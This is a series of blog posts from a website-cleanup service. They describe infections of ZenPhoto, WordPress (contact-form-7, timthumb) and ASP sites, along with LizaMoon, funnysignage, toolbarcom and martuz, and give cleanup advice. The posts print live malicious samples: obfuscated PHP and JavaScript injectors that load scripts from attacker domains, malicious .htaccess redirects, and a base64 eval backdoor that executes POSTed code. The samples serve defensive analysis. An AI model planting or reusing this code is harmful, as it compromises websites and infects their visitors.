By

Zen Photo exploited to infect websites

Over the past week we’ve been seeing many photographer’s websites infected through an exploit in Zen Photo. Actually it’s not Zen Photo, but the ajaxfilemanager.php file used in the tiny_mce plugin.

Check your websites for the file: ajaxfilemanger.php and rename it or delete it.

In Zen Photo based websites the above file can be found in:

zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager

The file is accessible from a browser which allows anyone to upload files to your website. Quite often we see files on websites with a .jpg or .png extension, which are normally graphic files, but the files we’re concerned with are actually PHP files. The hackers have many ways of renaming these to .php extensions and then they run them and infect the website.

If your website is hosted on a Linux server, you can use a .htaccess file to protect this file with something like:

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /ajaxfilemanager/.*$ [NC]
RewriteCond %{REQUEST_FILENAME} ^.+\.php$
RewriteRule .* – [F,NS,L]

Which will prevent remote access to all .php files in the ajaxfilemanager folder.

Depending on what version of Zen Photo, we have seen some config.php files with a line:

define(‘CONFIG_QUERY_STRING_ENABLE’, true);

Which appears to allow you send a string that would tell ajaxfilemanager what configuration file to use. This should be set to false.

You can either rename the ajaxfilemanager folder, delete it, use an .htaccess file or make certain your plugins are updated but you have to do something to protect your website.

The most common file we’ve seen in websites infected through this method is:

/zp-core/zp-extensions/tiny_mce/plugins/ajaxfilemanager/inc/class.images.php

And it usually has this code:

(opening php tag followed by a long string of blank spaces)$vf=substr(1,1);foreach(array(10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,115,116,121,108,101,46,100,105,115,112,108,97,121,61,39,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,39,80,104,112,79,117,116,112,117,116,39,41,46,105,110,110,101,114,72,84,77,76,61,39,39,59,10,10,13,9,92,39,0,112,49,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,102,97,99,101,116,111,102,97,99,101,46,100,101,47,101,120,116,47,62,60,47,115,99,114,105,112,116,62,116,114,117,101,99,115,115) as $vj[0])…unset($vf);unset($vj);(closing php tag)

It is our understanding that the file name is very similar to legitimate files in the same folder.

We’ve been seeing many other backdoors uploaded with this same exploit so you really should have it examined carefully.

Please leave a comment if you found this interesting, if you have more questions about this or have additional information regarding this infection.

As always, if you need help cleaning this up, call us at (847)728-0214 or email me at traef@wewatchyourwebsite.com

Thank you.

By

WordPress websites infected through outdated contact-form-7 plugin

Don’t go blaming the author of the WordPress plugin contact-form-7, but 1,022 of the websites we’ve cleaned in the past 11 days have old versions of the contact-form-7 plugin.

If you have a WordPress based website and you’re finding code like this in your index.php files:

(opening php tag) @error_reporting(0); if (!isset($eva1fYlbakBcVSir)) {$eva1fYlbakBcVSir = "7kyJ7kSKioDTWVWeRB3TiciL1UjcmRiLn4SKiAETs90cuZl..."\x73\164\x72\x65\143\x72\160\164\x72";$eva1tYlbakBcVSir = "\x67\141\x6f\133\x70\170\x65";$eva1tYldakBoVS1r = "\x65\143\x72\160";$eva1tYldakBcVSir = "";$eva1tYldakBoVS1r = $eva1tYlbakBcVSir.$eva1tYlbakBcVSir;$eva1tYidokBoVSjr = $eva1tYlbakBcVSir;} (closing php tag)

then you probably have an outdated contact-form-7 plugin.

We're not seeing the usual evidence in the log files, so we believe that the infection is a string that is being piped to /dev/null - at least that's our theory.

In your wp-content folder under: /plugins/contact-form-7 open your wp-contact-form-7.php file and look at line 8:

Version: 2.4.4
*/

That will tell you what version you have. Or just edit your index.php file in the root of your site. If you have the code listed at the top of the post, then you probably have an outdated version of contact-form-7 also.

I would like to thank Takayuki Miyoshi for assisting us with finding this. Again, don't blame the author, everyone should be updating their plugins on a regular basis.

Your contact-form-7 version should be 3.0.1 which was released on November 3, 2011 and can be obtained here:

On some infected websites you'll also see a "j" and/or a "js" folder in the plugins folder. These need to be removed as they are part of the infection, but not in all cases.

As always you need to scan your files for any backdoors. We've seen some of these infected sites with backdoors and some without with this website infection. This leads me to believe that the hackers feel it's flying under the radar enough that they don't need a backdoor.

If you need help cleaning this off your sites, call me at (847)728-0214 or email me at: traef@wewatchyourwebsite.com

By

The latest timthumb.php infection

We’ve been seeing, over the past week, many WordPress websites infected with this line of code:

function counter_wordpress() {$_F=__FILE__;$_X='...add_action('wp_head', 'counter_wordpress');

It’s in the wp-settings.php file and it usually has a series of blank spaces before it. You’ll find it right before the legitimate line of code:

do_action( 'init' );

This needs to be removed and you need to update all of your timthumb.php and thumb.php files. Then you’ll also have to scan your websites for backdoors.

Remember that if your WordPress site is hosted in a hosting account with many other websites in the same account, the backdoor can be in all or any of the other websites. You need to scan and clean them all.

If you need help in finding and removing this, please send us an email at: support@wewatchyourwebsite.com

Thank you.

And, let’s be safe out there.

By

The Lizamoon Website Infection

It was reported by Websense here about a new infection that’s hit thousands of websites.

This infection is referred to as LizaMoon because that is the first, and most popular domain seen in this infection. I think, instead of lizamoon, it could be referred to as the “ur.php” infection, but that’s just my opinion.

You can tell if your website has this if any of your pages, when viewed through a browser, have code inserted that looks like:

lizamoon sql injection

Some common traits that are interesting to note are:

1. The script tags have the < and > code instead of the “<" and ">”
2. The inserted code appears in the title tag
3. The inserted code appears in many drop-down listings
4. The infection appears to be only in .asp, .aspx and .cfm web pages

Many of these traits do lead to an apparent SQL injection due to where they’re located in the rendered webpage. Websense commented on their blog that this might be tracked to a vulnerability in Microsoft’s SQL 2003 and 2005. We don’t doubt their findings, but we could not confirm that ourselves, however, seeing that the infected sites are based on either ASP(X) or Cold Fusion, it does lead us to believe this.

Other domains used in this infection:
alexblane.com
alisa-carter.com
milapop.com
eva-marine.info
tadygus.com
google-stats49.info
google-stats45.info
google-stats50.info
stats-master99.info
world-of-books.com
tzy-stats.info
agasi-story.info

…and many others and the list will definitely be changing as this moves forward.

Many of the sites used as redirections in this infection are the fake anti-virus based websites where they (the hackers) try to trick the visitor into believing their PC is infected.

At the time we investigated this, we found that the fake anti-virus software these sites attempt to install on a visitor’s PC is known as “Windows Stability Center”. Currently this is only detected by 13 out of 43 different anti-virus programs – so it’s effectiveness could be quite high.

To check your website, you could either perform SQL queries or export your database and do text search for the string: “ur.php” as that file seems associated with all the domains used in this infection.

Whether you want to call this the Lizamoon infection or use my suggestion of the “ur.php” infection, it’s infecting thousands of websites. As of this writing a Google search on the above script string shows 531,000 results.

Please comment on what you think about this. Have you been infected by this? Anyone have further insight?

By

Funnysignage.com and webarh.com website infections

Since this past weekend, 10-9-2010, we’ve been getting many requests from website owners who have had their websites infected with code that redirects visitors to either funnysignage.com or webarh.com. This blog post will show how to clean websites infected with the funnysignage.com or webarh.com redirects.

We’ve cleaned infected websites on Windows servers as well as infected websites on Linux servers and they’ve all been basically the same.

Inside of every folder there is a file named .htaccess. Yes even on Windows. It doesn’t work on websites based on Windows servers, but it’s there. The file contents look like this:

RewriteEngine On
RewriteBase /
RewriteRule ^(.*)? http://funnysignage.com/r.php

For those of you who are infected with the webarh.com redirect, your file contents will look similar, just replace funnysignage.com with webarh.com.

Look in all folders for this file, open the file and if the contents look like above, then delete the file.

You might also find that the index.html files have been replaced, or in some instances, there is an index.html file added to each folder on the website. In any case, you’ll probably find this code somewhere in the index.html file:

(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)(opening script tag)document. location. href='http://funnysignage. com/r.php';(closing script tag)

You’re reading that correctly. It usually appears twice – and it’s usually at the bottom of the file, outside the closing html tag. Again, for those who have websites infected with the webarh.com redirect, just replace funnysignage.com with webarh.com and that’s what you’ll probably see inside your index.html files.

In many of these website infections, inside the index.php files, they will have been replaced. The contents of the index.php file is nothing more than:

(opening script tag)document.location.href='http://funnysignage.com/r.php';(closing script tag)

Removing the above, will stop your website from redirecting, however, the clean-up isn’t over. In the majority of the cases with the funnysignage.com or webarh.com redirects, we’re also seeing many backdoors placed on the infected websites.

Unfortunately, there is no common strings to search for when looking for backdoors – but, you must find them and delete, otherwise the next website infection will surely find your site as victim.

If you have a known, good back-up of your website, you may want to consider deleting your entire site and restoring from back-up. Please verify that the back-up is not infected.

In cleaning up from this infection, you’ll have to remove many, many files and as stated above, often times, the legitimate files are replaced with nothing more than the above redirect code, so restoring from back-up may just be your only choice.

If this infection starts infecting websites hosted at certain hosting providers and somebody starts blaming a particular large hosting provider(s), don’t believe it. We’ve already seen this infection across many, many different hosting providers and some sites that are on their dedicated server. Please do not think that changing hosting providers will solve this issue.

As best we can tell, the only common factors in the funnysignage.com or webarh.com infections is either the site is running on PHP 4.X, or the website owner, developer, author or someone who has FTP access to the infected website, has a virus that has stolen the FTP credentials.

If you need help in cleaning your website from this, please contact me at: traef@wewatchyourwebsite.com.

By

toobarcom, mybar, adsnet infections

Over the past week or so, we’ve been fighting a new website infection. At first, it appeared to be infecting just one hosting provider, but as we investigated further, we found it was affecting websites on many hosting providers. I’m sorry that it’s taken so long to write about this but we’ve been seeing various new backdoors added to sites and I wanted to fully analyze those before writing this.

What we’re seeing is a malscript inserted either immediately before the legitimate code in certain .js (javascript) files or inserted in html and php files. If it’s in a .js file, you have to be careful because it appears to be part of the entire javascript code. There’s no spaces or line breaks between the malicious code and the legitimate code.

In .html and .php files we’ve usually seen it enclosed by ‘ads’ tags and script tags.

We’ve seen two variations of the malicious code:

The first one starts with:

var st1 = ;this.b=this.M="";this.A="";this.w=false;""...

and ends with:

var gr0=0;

The second starts with:
var st1 = 0;document. write( unescape('%3C%73...

and ends with:

gr0=0;

We’ll examine each one here to let you know what they’re doing.

The first one deobfuscates to this:

var a=window.navigator.userAgent,b=/(yahoo|search|msnbot|yandex|googlebot|bing|ask)/i,c=navigator.appVersion; if(document.cookie.indexOf("holycookie")==-1&&!a.toLowerCase().match(b)&&c.toLowerCase().indexOf("win")!=-1){var d=["myads.name","adsnet.biz","toolbarcom.org","mybar.us","freead.name"],e=["axe.","box.","cox.","dex.","fax.","fix.","fox.","gox.","hex.","kex.","lax.","lex.",
"lox.","lux.","max.","mix.","nix.","oxo.","oxy.","pax.","pix.","pox.","pyx.","rax.",
"rex.","sax.","sex.","six.","sox.","tax.","tux.","vex.","vox.","wax.","xis.","zax."],
f=Math.floor(Math.random()*d.length),g=Math.floor(Math.random()*e.length);
dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="holycookie="+
escape("holycookie")+";expires="+dt.toGMTString()+";path=/";

document. write ('(script tag) src=" hxxp: // '+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

When looking at this code, you’ll see that is uses a variety of user-agent strings:

  • yahoo
  • search
  • msnbot
  • yandex
  • googlebot
  • bing
  • ask

Then creates an array of domains:

  • myads.name
  • adsnet.biz
  • toolbarcom.org
  • mybar.us
  • freead.name

and then creates an array of prefixes:

  • axe.
  • box.
  • cox.
  • dex.
  • fax.
  • fix.
  • fox.
  • gox.
  • hex.
  • kex.
  • lax.
  • lex.
  • lox.
  • lux.
  • max.
  • mix.
  • nix.
  • oxo.
  • oxy.
  • pax.
  • pix.
  • pox.
  • pyx.
  • rax.
  • rex.
  • sax.
  • sex.
  • six.
  • sox.
  • tax.
  • tux.
  • vex.
  • vox.
  • wax.
  • xis.
  • zax.

When you consider the number of possible combinations of domains and subdomains, this becomes quite clear the hackers were looking to hide their locations.

The final part of the code puts it all together and adds a little more to the URL:

document. write(' (script tag) src="hxxp : //'+e[g]+d[f]+'/system/caption.js" type="text/javascript">(script tag)

adding the ‘/system/caption.js’ to the end of whatever domain string it’s built.

So a typical string after this first code is decoded might look like:

(script tag) type="text/javascript" src="hxxp: //mix.freead.name/system/caption.js">
(script tag)

The second obfuscated string from above, uses the same basic methodology but uses these domains:

  • edisonsnightclub.com
  • gaindirectory.org
  • ideacoreportal.com
  • karenegren.com

and appends one of these strings to the front:

  • aqua.
  • azure.
  • black.
  • blue.
  • brown.
  • chocolate.
  • coral.
  • cyan.
  • darkred.
  • fuchsia.
  • gold.
  • gray.
  • green.
  • indigo.
  • ivory.
  • khaki.
  • lime.
  • magenta.
  • maroon.
  • navy.
  • olive.
  • orange.
  • pink.
  • plum.
  • purple.
  • red.
  • silver.
  • snow.
  • violet.
  • white.
  • yellow.

This malscript creates a document.write string that uses one of the above prefixes, one of the above domains and adds ‘/data/mootools.js’ to the end to complete the malscript.

If you’re looking for this malscript in your website, please make sure you grab the entire line all the way to ‘var gr0=0;’ (without the quotes) and nothing more. Otherwise, your legitimate code won’t function properly and you’ll have to restore from backup. Which, may not be a bad thing – unless, of course, you don’t have a good backup.

We’re still investigating how this infection starts. At first we thought it was WordPress based sites only. Then we realized that it was also infecting non-Wordpress sites. It might be the old compromised FTP credentials, but we haven’t been able to gather all our data yet. When we do, we’ll post an update here.

We’re also going to post about the backdoors we’ve found and you can search your site for them as well.

Until then, if you’re infected with this or if Google shows any of these domains in your Safe Browsing Diagnostic report (http://www.google.com/safebrowsing/diagnostic?site=), and you’d like us to clean it for you, please send me an email at traef@wewatchyourwebsite.com

Thank you.

By

A New Spin on martuz Website Infection

We were tasked with helping a website owner find all the malscripts on his site and remove them. He, like many, learned that his site was an infectious website delivering malicious code with an email from Google.

This website owner had tried removing the code himself from the infected webpages and yet his site was still blacklisted by Google. This was killing his sales as anyone visiting with Firefox as their browser, or Chrome,  were greeted with a big warning:

This site may harm your computer.

After about a week of trying to rectify the problem himself, he contacted us.

He provided us FTP access to his site so we could tackle it.

After downloading his site (which literally took 3 hours) we started scanning. We grep’d for the word “base64_decode” and found over 228 php files all with the following malscript:

(php tag removed) if(!fun ct ion_ex ists(‘tmp_lkojfghx’)){if(is set ($_POST[‘tmp_lkojfghx3’])) eval($_POST[‘tmp_lkojfghx3’]) ;if(!defined(‘TMP_XHGFJOKL’))
define(‘TMP_XHGFJOKL’,b ase64_de cod e(‘PHNjcmlwdCBsYW5ndWFnZT 1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBWaXRMPSclJzt2YXIgU3VvPSd2YXJfMjB
hXzNkXzIyU2NyaV83MHRFbmdfNjluZV8yMl8yY2JfM2RfMjJWZXJzaV82Zm4oKStfMjJfMmNqX zNkXzIyXzIyXzJjdV8zZG5hdl82OWdfNjF0XzZmcl8yZV83NV83M182NXJfNDF
nZW50XzNiaWYoXzI4dV8yZWluZGV4T2ZfMjhfMjJfNDNocl82Zl82ZGVfMjIpXzNjXzMwXzI5XzI2 XzI2KHVfMmVpbmRfNjV4T2YoXzIyV182OV82ZV8yMilfM2UwKV8yNl8yNl8
yOHVfMmVpbmRleF80Zl82Nl8yOF8yMk5UXzIwNl8yMilfM2MwKV8yNl8yNihfNjRvY183NW1fNjV uXzc0XzJlXzYzb29rXzY5ZV8yZWluXzY0ZXhPZihfMjJtaWVrXzNkMV8yMil
fM2NfMzApXzI2XzI2KF83NHlwZW9fNjYoXzdhXzcyXzc2enRzXzI5XzIxXzNkdHlwXzY1b182NihfMjJ BXzIyKSkpXzdienJfNzZ6Xzc0c18zZF8yMkFfMjJfM2Jldl82MWwoXzI
yaWYoXzc3aW5kXzZmd18yZV8yMithXzJiXzIyKWpfM2RqK18yMitfNjErXzIyXzRkYWpvcl8yMl8yY mIrYStfMjJNaW5vcl8yMitiK2ErXzIyQl83NWlfNmNkXzIyXzJiYitfMjJ
qXzNiXzIyKV8zYmRvY183NW1fNjVfNmVfNzRfMmV3cml0ZShfMjJfM2NfNzNfNjNyaV83MF83NF8y MHNfNzJjXzNkXzJmXzJmbWFyXzIyK18yMl83NF83NXpfMmVfNjNuXzJmdml
kXzJmXzNmXzY5ZF8zZF8yMitfNmErXzIyXzNlXzNjXzVjXzJmc2NyaXBfNzRfM2VfMjJfMjlfM2JfN2Qn O2V2YWwodW5lc2NhcGUoU3VvLnJlcGxhY2UoL18vZyxWaXRMKSkpfSk
oKTsKIC0tPjwvc2NyaXB0Pg==’));fu nc tion tmp_lkojfghx($s){if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(su bstr($s,10,-8));
if(preg_match_all(‘#<script(.*?)</sc ri pt>#is’,$s,$a))for ea ch($a[0] as $v) f(count(exp lo de(“\n”,$v))>5)
{$e=preg_match(‘#[\'”][^\s\'”\.,;\?!\[\]:/<>\(\)]{30,}#’,$v)||preg_m atch(‘#[\(\[](\s*\d+,){20,}#’,$v);
if((pr eg_match(‘#\beval\b#’,$v)&&($e||str pos($v,’from Char Code’)))||($e&&strpos($v,’document.write’)))$s=str_replace($v,”,$s);}
$s1=preg_re pl ace(‘#<sc ri pt lan gu age=java scri pt><!– \n\(fun ct ion\(.+?\n –></script>#’,”,$s);if(stristr($s,'<body’))
$s=preg_replace(‘#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,'</body’)||stristr($s,'</title>’))
$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0) {$s=array();

if($b&&$GLOBALS[‘tmp_xhgfjokl’])call_user_func($GLOBALS[‘tmp_xhgfjokl’],$a,$b,$c,$d); foreach(@ob_get_status(1) as $v)
if(($a=$v[‘name’])==’tmp_lkojfghx’)re t urn;else $s[]=array($a==’default output handler’?false:$a);
for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(‘tmp_lkojfghx’);
for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}if(($a=@set_error_handler(‘tmp_lkojfghx2′))!=’tmp_lkojfghx2’)
$GLOBALS[‘tmp_xhgfjokl’]=$a;tmp_lkojfghx2(); ?>

The base64_decode section evaluates to this:

<script language=javascript><!–

(f u n c t i o n(){var VitL=’%’;var Suo=’var_20a_3d_22Scri_70tEng_69ne_22_2cb_3d_22Versi_6fn()+_ 22_2cj_3d_22_22_2cu_3dnav_69g_61t_6fr_2e_75_73_65r_41gent_3bif
(_28u_2eindexOf_28_22_43hr_6f_6de_22)_3c_30_29_26_26(u_2eind_65xOf(_22W_69_6e_22) _3e0)_26_26_28u_2eindex_4f_66_28_22NT_206_22)_3c0)_26_26
(_64oc_75m_65n_74_2e_63ook_69e_2ein_64exOf(_22miek_3d1_22)_3c_30)_26_26(_74ypeo _66(_7a_72_76zts_29_21_3dtyp_65o_66(_22A_22)))
_7bzr_76z_74s_3d_22A_22_3bev_61l(_22if(_77ind_6fw_2e_22+a_2b_22)j_3dj+_22+_61+_ 22_4dajor_22_2bb+a+_22Minor_22+b+a+_22B_75i_6cd_22_2bb+_22j_3b_22)
_3bdoc_75m_65_6e_74_2ewrite(_22_3c_73_63ri_70_74_20s_72c_3d_2f_2fmar_22+_22_ 74_75z_2e_63n_2fvid_2f_3f_69d_3d_22+_6a+_22_3e_3c_5c_2fscrip_74_3e_22_29_3b_7d’;
e v a l(un esc ape(Suo.replace(/_/g,VitL)))})();
–></script>

Which deobfuscates to:

var a=”S cri ptE ng ine”,b=”Version()+”,j=””,u=na vi g ator.user A gent;if((u.indexOf(“Ch rome”)<0)&&(u.indexOf(“Win”)>0)&&(u.indexOf(“NT 6”)<0)&&
(do cu ment.coo kie.ind exOf(“miek=1”)<0)&&(typeof(zrvzts)!=typeof(“A”))){zrvzts=”A”;ev al(“if(window.”+a+”)j=j+”+a+”Major”+b+a+”Minor”+b+a+”Build”+b+”j;”);
doc um ent.w ri te(“<sc ri pt src=//mar”+”tuz.cn/vid/?id=”+j+”><\/script>”);}
if(window.Script Engine)j=j+ScriptEng ineMajorVersion()+ScriptEng ineMinorVersion()+Scrip tEngine BuildVersion()+j;
<script src=//martuz.cn/vid/?id=></script>

a typical martuz infection.

Using PowerGrep we did a search and replace on this text and replaced every occurrence with “”.

We dug further into the files returned with our search for the word “base64_decode” and found 2 php files in every folder name “images”. These 2 files were named “image.php” and “gifimg.php” and inside each was the following code:

(php tags removed) eval(base64_decode(‘aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1Rb J2UnXSkpOw==’)); (php tags removed)

Which decodes to:

if(isset($_POST[‘e’]))eval(base64_decode($_POST[‘e’]));

Which just decodes whatever text string is POST’d to this file.

To test, we encoded some commands and setup a little script to POST to this form with our commands. It worked!

In addition to these 2 files we found many others in various folders that contained the same code. We’re working on determining how these files are named. It almost seems random, but in order for this to be an automated process we feel that there must be some algorithm in creating the file names. Otherwise, the cybercriminals would have to keep a database or list of each site name and the file name associated with that site. This is highly unlikely as they are into automated routines and keeping a list like that just doesn’t make much sense.

Being that this was martuz, we felt confident in recommending that the client change from FTP to either FTPS or SFTP and then scan their PC fully before accessing the site again. With this new twist of having these php files accept scripts and run them, we are concerned about this new form of infection.

We have seen some people report that you have to replace these php files with an empty file of the same name. That might be the case in some situations, none that we’ve seen, but that would require that the cybercriminals had another file on your site that monitored those files. That monitoring program needs to be found and eliminated.

Another interesting thing about the file names is that WordPress installations have files named image.php obviously with different code, but that tactic might be to deter people from just “willy nilly” deleting those files.

Stay tuned as we have many, many more websites to clean. We’ll be reporting on them as we obtain more information.